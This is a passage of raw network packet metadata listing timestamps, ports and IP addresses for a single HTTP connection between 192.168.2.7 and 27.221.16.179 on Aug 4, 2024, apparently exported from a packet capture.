Aug 4, 2024 10:57:58.543574095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543586016 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543590069 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543606997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543634892 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.592746019 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.628031969 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.670887947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.889714003 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.889805079 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.889842987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.889863014 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.889897108 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.889951944 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890002966 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890007019 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890041113 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890086889 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890096903 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890153885 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890161991 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890209913 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890244961 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890261889 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890280008 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890326977 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890335083 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890371084 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890405893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890429020 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890458107 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890492916 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890511036 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890526056 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890580893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890582085 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890614986 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890650988 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890688896 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890701056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890723944 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890726089 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890779972 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890815020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890852928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890868902 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890887976 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890894890 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.890944004 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.890978098 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891004086 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891014099 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891050100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891064882 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891103983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891159058 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891159058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891196012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891230106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891247034 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891267061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891300917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891311884 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891336918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891370058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891407013 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891422987 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891441107 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891474962 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891499996 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891518116 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891541958 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891575098 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891608000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891632080 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891640902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891690969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891700983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891737938 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891771078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891776085 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891808033 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891841888 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891860008 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891920090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891956091 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.891976118 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.891989946 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892024040 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892036915 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892060041 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892092943 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892108917 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892147064 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892191887 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892199993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892235041 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892271042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892276049 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892304897 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892339945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892357111 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892393112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892429113 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892446995 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892467976 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892515898 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892529964 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892564058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892599106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892611980 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892633915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892671108 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892687082 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892704010 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892739058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892750978 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892775059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892811060 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892822027 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892847061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892880917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892890930 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892915964 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892950058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.892967939 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.892987967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893023968 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893024921 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893063068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893095016 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893127918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893131971 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893163919 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893182993 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893198967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893235922 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893244028 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893273115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893306017 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893337965 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893341064 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893377066 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893395901 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.893413067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.893485069 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.238506079 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238571882 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238585949 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238607883 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238620043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238632917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238662004 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238675117 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.238717079 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238734007 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238765001 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.238821030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.238854885 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238868952 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238879919 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238898039 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238913059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238920927 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.238928080 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.238982916 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239023924 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239037037 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239054918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239067078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239078045 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239080906 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239090919 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239101887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239106894 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239135981 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239159107 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239176035 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239196062 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239207983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239236116 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239312887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239325047 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239337921 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239351034 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239351034 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239362955 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239375114 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239403009 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239479065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239490986 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239501953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239515066 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239527941 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239533901 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239541054 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239556074 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239562988 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239571095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239578962 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239604950 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239779949 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239793062 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239804983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239821911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239830017 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239836931 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239850044 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239861965 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239865065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239877939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239886999 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239916086 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.239927053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239948034 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239959955 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239970922 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239984989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.239995003 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240015984 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240123987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240135908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240147114 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240159988 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240170002 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240175009 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240190983 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240210056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240282059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240303040 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240317106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240329027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240340948 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240344048 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240354061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240366936 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240369081 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240384102 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240395069 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240397930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240412951 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240421057 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240525961 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240596056 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240607023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240617990 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240638971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240638971 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240653992 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240667105 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240679026 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240679979 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240694046 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240695000 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240710020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240721941 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240732908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240739107 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240746021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240756035 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240781069 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240927935 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240938902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240959883 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240972042 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.240972042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.240987062 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241013050 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241130114 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241142988 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241154909 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241167068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241173029 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241182089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241194010 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241195917 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241209030 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241219044 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241242886 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241269112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241280079 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241312027 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241339922 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241353989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241367102 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241399050 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241444111 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241456985 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241468906 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241482019 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.241485119 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.241509914 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.295931101 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.586745977 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.586800098 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.586878061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.586880922 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.586913109 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.586967945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587018967 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587019920 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587075949 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587112904 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587117910 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587148905 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587160110 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587265968 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587300062 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587317944 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587335110 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587368965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587388992 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587399006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587450027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587470055 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587485075 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587518930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587536097 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587555885 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587589979 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587618113 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587627888 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587673903 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587681055 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587735891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587769985 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587800980 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587821960 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587857008 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587874889 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.587891102 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587925911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.587949038 CEST	49757	80	192.168.2.7	27.221.16.179
